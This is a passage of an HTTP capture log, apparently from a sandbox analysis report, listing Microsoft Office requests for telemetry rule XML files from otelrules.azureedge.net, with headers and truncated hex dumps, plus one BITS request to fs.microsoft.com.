2024-11-05 09:13:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:32 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 12eeda2a-401e-00ac-598e-2d0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091332Z-158dbd74bf49tqzmhC1SN1qum800000003r0000000002aan x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:32 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49809	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:32 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:32 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:32 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 86102881-001e-0034-7355-2edd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091332Z-158dbd74bf4sq2b7hC1SN1zzdg00000003r0000000004pr9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:32 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49814	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:33 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:33 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:33 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 7b700101-601e-0050-4e5f-2e2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091333Z-157b9fd754frph49hC1SN1dtxw00000004d0000000001v7w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:33 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49815	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:33 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:33 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:33 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a089fa81-d01e-0066-1640-2eea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091333Z-158dbd74bf4jwfhhhC1SN1bnb000000003tg0000000051bb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:33 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49816	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:33 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:33 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:33 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 37c49176-f01e-0003-705c-2e4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091333Z-158dbd74bf4qgfthhC1SN1tv8800000003ug000000002h7e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:33 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49818	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:33 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:33 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:33 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 89e70e23-001e-0014-478e-2d5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091333Z-158dbd74bf4zb6hghC1SN1dd7n00000003sg000000003xnh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:33 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49817	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:33 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:33 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:33 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 6a3542ff-401e-0078-3058-2e4d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091333Z-157b9fd754fj4mbdhC1SN1sfuc00000004b0000000001mza x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:33 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49819	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:33 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-05 09:13:34 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=27159 Date: Tue, 05 Nov 2024 09:13:34 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49820	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:34 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:34 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:34 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 7c56904f-a01e-0053-4d5c-2e8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091334Z-158dbd74bf48rfm8hC1SN12d1s00000000xg000000005a08 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:34 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49821	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:34 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:34 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:34 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 45f39ff0-c01e-00a2-2d5f-2e2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091334Z-158dbd74bf4cvrq6hC1SN1zhyc00000003pg000000003ryt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:34 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49822	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:34 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:34 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:34 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 4644762d-401e-0016-6540-2e53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091334Z-158dbd74bf4rcgjxhC1SN1a3yn00000003ng0000000058vx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:34 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49823	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:34 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:34 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:34 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 34a6016e-c01e-0082-095f-2eaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091334Z-158dbd74bf4xn2d5hC1SN1962w00000003sg000000003k0k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:34 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49824	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:34 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:34 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:34 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: a01aecef-901e-005b-2d5f-2e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091334Z-157b9fd754fslm5zhC1SN1s0vn0000000480000000004g9d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
